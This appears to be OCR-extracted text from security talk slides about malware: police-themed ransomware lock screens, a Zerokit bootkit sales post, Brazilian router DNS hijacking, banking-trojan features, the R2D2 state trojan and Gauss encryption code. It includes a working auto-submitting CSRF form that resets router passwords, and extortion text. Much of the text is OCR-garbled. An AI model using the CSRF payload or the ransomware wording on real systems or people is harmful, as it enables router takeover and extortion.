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BUNDESPOLIZEI

NATIONAL CYBER CRIMES UNI
ACHTUNG!!!

B
e

Das Betriebssystem wurde im Zusammenhang mit VerstoBen gegen die Gesetze der Bundesrepublik Deutschland gesperrt!

Es wurde folgender VerstoB festgestelit: Thre IP Adresse lautet "193.110.109.30" mit dieser IP wurden Seiten mit pornografischen Inhalten, Kinderpornographie, Sodomie und Gewalt gegen Kinder aufgerufen
Auf Threm Computer wurden ebenfalls Videodateien mit pornoagrafischen Inhalten, Elementen von Gewalt und Kinderpornografie festgestellt!

Es wurden auch Emails in Form von Spam, mit terroristischen Hintergriinden, verschickt. Diese Sperre des Computers dient dazu, Ihre illegalen Aktivitaten zu unterbinden.

IP:193.110.109.30

Location: Finland, Helsinki
ISP: F-Secure OY)

Um die Sperre des Computers aufzuheben, sind Sie dazu verflichtet
eine Strafe von 100 Euro zu zahlen. @kash' Wo kann ich Ukash kaufen?

Es gibt unzahlige Maglichkeiten, Ukash zu erwerben, z. B. in Geschaften, Kiosken, per Geldautomat,

Die Zahlung per Ukash begleichen:
ap g online oder iiber eine E-Wallet (elektronische Geldborse).Nachstehend finden Sie eine Liste, aus der

Dazu geben Sie bitte den erworbenen Code in das Zahlungsfeld ein und driicken Sie hervorgeht, wo Sie in Threm Land Ukash erwerben kénnen.

anschliessend auf OK (haben Sie mehrere Codes,so geben Sie Diese einfach

nacheinander ein und driicken Sie anschliessend auf OK). Hﬂ Tankstellen - jetzt auch erhaltlich beifolgenden Tankstellen: Agip, Avia, Esso, OMV, QI und
Westfalen.

Solte en ssen S : er Ema AV/A i ‘O ouv @ ]

einzahlung@inter-bundeskriminalamt.eu — Aglp Esso, oMV ﬁ] Westfalen

Epay - Kaufen Sie Ukash in vielen tausend Supermaérkten oder Call- Shops, in denen Sie
dieses Logo sehen.

- | OK |
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- e 7 polizia
Polizia postale e delle comunicazioni Y@ Cmunicarion

Centro Nazionale Anticrimine Informatico
' per la Protezione delle Infrastrutture Critiche

Polizia di Stato

Attenzione!!!
E stata rivelata un‘attivita ilegale. 1l sistema operativo & stata bloccata per una violenza delle leagi della Repubblica Italiana!

E stata fissata una seguente violazione: Dal tuo indirizzo IP "193.110.109.30" era eseguito un accesso alle web-pagine contenenti la pornografia, I3 pornografia minorile, zoofilia, nonché Ia violenza
dei bambini. Nel tuo computer sono stati trovati video-file contenenti la pornografia, elementi di violenza e la pornografia minorile.

Dalla posta elettronica era effettuato anche la distribuzione dello spam con un senso recondito terroristico.
1l bloccaggio di computer serve per troncare I'attivita illegale dalla parte tua.

IP:193.110.109.30

I tuoi dati: Posizione: Finland, Helsinki
ISP: F-Secure OY]j

Per togliere il bloccaggio devi pagare una multa di 100

SR @kash Dove passo trovare Ukash?

Effettuare il pagamento tramite [Ukash Puoi richiedere e ottenere Ukash presso migliaia di punti vendita, edicole, stazioni di servizio, bar e
' tabacchi e negozi di telefonia mobile dotati di terminale Epay, Epipoli.

Per questo inserisci il numero ricevuto nella colonna di pagamento,

dopodiché premi OK (se hai piti numeri, allora inseriscili uno dopo

I'altro, dopodiché premi OK)

Recati presso il punto vendita dotato di terminale Epay, Epipoli a te piu vicino.
Richiedi un voucher in contanti al negoziante. Il negoziante dovra stampare e
epay  consegnarti un voucher Ukash con codice PIN da 19 cifre.
( ~ epay - Voucher Ukash sono disponibili da migliaia di negozi con un terminal epay.
EPIPOLI  Epipoli - Voucher Ukash sono disponibili da migliaia di negozi con un terminal Epipoli.

! _oK |

degosito@gﬁer-gdf.net
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3 S Tatwa i v U AICTE, ANy (56-77.5- T SI5Ea53 7628 i
Taipeil, Taiwan (25.84,121.53) to Aachen, Germany (5e.77.6.11) [md5: 2affaselagasfcidcchs
Russia (60.86,106.00) to Aachen, Germany (50.77.6.11) [md5: 358388clcSe59f630aeds56fdde31r
South Korea (37.ee,127.58) to Aachen, Germany (58.77.6.11) [md5: 178edaleeeSldebcafdSee?
voskresensk, Russia (55.32.38.65) to Aachen, Germany (56.77.6.11) [md5: d45835e3930C560)
Bangalore, India (12.0:.77.58) to Aachen, Germany (56.77.6.11) [mdS: 7bbd455eada7ibl4473
Radnevo, Bulgaria (s2.36.25.53) to Aachen, Germany (50.77.6.11) [md5: e99888c6288caeTba
Moscow, Russia (55.75.37.62) to Aachen, Germany (5e.77.6.11) [md5: 24e635d7debc7c7eodesd
Buenos Aires, Argentina (-34.58.-58.67) to Aachen, Germany (56.77.6.11) [md5: 63eaecb4d
Bogota, Colombia (4.65,-74.86) to Aachen, Cermany (se.77.6.11) [mdS: 515ea53762873371Fbd
santa Cruz, USA (36.57,-121.9%) to Aachen, Germany (58.77.6.11) [md5: accedbfidszbaf4afs)
Duisburg, Germany (51.43.6.75) to Aachen, Germany (5e.77.6.11) [mdS: zzaafadaaszzszasszﬂ
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Ring0 bundle (Zerokit) for control million-strong botnet

Goto page 1, 2, 3,

| Post Reply B

Author

Joined: 21 May 2011

Posts: 12
Rep: 1752

Message
f aunte ©

| want to introduce new crazy ring0 bundle (Zerokit or okit) for control million-strong botnet.
Breaking down all nowadays-existing firewall with full network blocking (bypassing in ring0).

Existence of the bundle is not detected by any of the antiviruses (the list
), antirootkit-utilities (Tuluka,
GMER, RKU, RootkitRevealer) alse see nothing.

Features:

- Start of *.exe, *.dll (*.dll is in a pre-alpha stage) and shellcodes in a context of the chosen process.

- Start of files from a disk and from the memory* (start from memory is in a pre-alpha stage).

- Start of files with specified priveleges: CurrentUser and NT SYSTEM/AUTHORITY.

- Granting the protected storehouse** for off-site (your) ring3-solutions for permanent existence in the
system without need of crypt.

- Survivability of the bundle, down to a reinstallation of the system.

- All the compoenents are stored outside of a file system and are invisible to 0S.

- Intuitively clear interface of admin-panel.

- Protection against the abstraction of Admin Panel.

- Impossibility of detection of the bundle in the working system by any of known Av/rootkit scanner,
owing to the use of auther's technologies of concealment. The unique oppertunity of detection exists
only at loading with livecd or scanning of a disk from the other computer. Thus the opportunity of
detection is also extremely improbable, as own algorithms of a mutation are used.

* Start of a file from the memory allows to bypass all medern proactive protection and AV-scanners, that
is, there is no necessity to crypt a file.

*=* Protected storehouse is the original ciphered file system in which the certain guantity of files which
will be started from the memory at each start of the 05 can be stored.

The bundle consists of:

- Bootkit. It is responsible for the start of the basic medules at a stage of loading of 05.

- Driver. It is responsible for all infrastructure and implements componental business-logic on the basis
of so-called mod (functional unit). That is, the driver is not a legacy driver (monolithic), and consists of
the set of mods that allows to operate the bundle with maximum of flexibility, and to protect (hard to
reverse), update and expand it.

- Dropper. At the current moment it brake out all machines with the patches till January, 8th, 2011,
except for XP x32/x64 where reloading is initiated. If the systems distinct from XP have latest updates
reloading is initiated as well.

- User friendly Admin Panel.
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4 million home DSL routers in Brazil
Huawei, ZyXel, D-Link, Linksys, Netgear...

Cross Site Request Forgery (CSRF) to be performed in the
administration panel of the ADSL modem

Changing the DNS servers to malicious ones

Some Brazilian ISPs had more than 50% of users affected
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<body onLoad=javascript:document.form.submit ()>

<form action="http://192.168.1.1/password.cgi";
method="POST" name="form">

<input type="hidden" name="sptPassword" value="cg4ng3dnb5">
<input type="hidden'" name="usrPassword" value="cg4ng3dnb5">
<input type="hidden" name="sysPassword" value="cg4ng3dnb5">
</form>

</body>
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(= Basic
= ADSL Mode
= WAN Setting

« IP Route

= Wireless Lan

= ATM Traffic
Advanced
Tools

Achieving Together

DHCP

Client IP Pool Starting Address |192.168.1.2
Size of Client IP Pool 253
Primary DNS Server 0.0.0.0
Secondary DNS Server o.0.0.0
Remote DHCP Server Jnza

DHCP Lease

Time

[t Daysf0  Hourslo  Min

MAC Azddress

l Static v I

[19216815 =+ || | Manual Config a|

dell 192.168.1.2 Auto
Dell2 192.168.1.3 Auto
Dell2 192.168.1.4 Auto

Copyright @ 2009 All Rights Reserved.
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| C Google
(€ LY ' ) www.google.com.br

Instale Google Defence Para usar 0 novo Google.com

Image from
Securelist.



gooale.com/GoogleDefence.exe

facebook.com/ChromeSetup.exe

facebook.com/Activex Components.exe

msn.com/ChromeSetup.exe
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+ Server-side bot functions:

1. Socks 4/4a/5 server with support for UDP and IPvE.
2. Backconnect for any service (RDP, Socks, FTP, etc.) on the infected machine. I.e. may gain access to a

computer that is behind a NAT, or, for example, which has prohibited connections by a firewall. For
this feature to work there are used additional applications that run on any Windows-server on the

Internet, which has a dedicated IP.
3. Getting a screenshot of yvour desktop in real time.

« Intercepting HTTP/HTTPS-requests from wininet.dll {Internet Explorer, Maxton, etc.), nspr4.dll
{Mozilla Firefox) libraries:

Modification of the loaded pages content (HTTP-inject).

Transparent pages redirect (HTTP-fake).
Getting out of the page content the nght pieces of data (for example the bank account balance).

Temporary blocking HTTP-injects and HTTP-fakes.
Temporary blpcl-:ing access to a n:e_rl;ain URL.
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g @anonymouSabu

A IT3 The Real Sabu

mikko Do you remember about 3 years
ago - a bar named Baker's in downtown
Helsinki? Summertime or so.

=%y @mikko
k- : 1."“,'. i r,“FF: H'fpp:rl":ﬁ

(wanonymouSabu ...no, I don't think I do.
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Governmental attacks
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[c:swirusszapftis lfzav . Aarchive

F-Secure Anti—Uirus Command Line Scanner,. version ?7.20.15338
Scans files and system for maluware

Copyright © 2081-2087,. F-Secure Corporation

Results of virus scanning:
C:swvirussegapftissscuinstsscscuints..exe_ Infection: Backdoor:W32-R2D2.A

Scanned

Files: 28
Mot scanned: A
Re=sult

Uiruses: 1

Time: BA:18
[c:swirusszapftis 1}
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inE n High-efficicrcy DO/DC Cowverter
S8V Tnpur, I8V ro 32V Ourpur, 3A Ouipur

Incorpaorated

Suitable for Fan Motor Control
Industry Standard Quarter Brick
Pinout and Footprint

Typical Efficiency: 879 at 3A, 34V
Droop Feature Allows Carrent Sharing
Very Low Common-mode Moise for

a Commercial DC/DC Converter
Two-stage Inpuot Filter

Constant Switching Fregquency
Remote Sense

Single Board Design

Optional Low Profile Heatsink for
Improved Thermal Performance
Header with M3 Metal Inserts for bl

The Dorade HY 15 also available with an eptional
Fow profile hearsink for improved thermal
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Gauss encryption

mov
mov
mov
Ll:

LOOP

mov
call
mov
call
call
ret

mov
XOR
not

mov
inc

inc

Ll

ecx, (LENGTHOF tToCrypt)-1

edx, OFFSET
ebx, OFFSET

edx, OFFSET
WriteString
edx, OFFSET
WriteString
Crlf

tToCrypt
tEncrypt

eax, [edx]
eax, ACDCh

eax

[ebx], eax
edx

EBX

tOutEncr

tEncrypt
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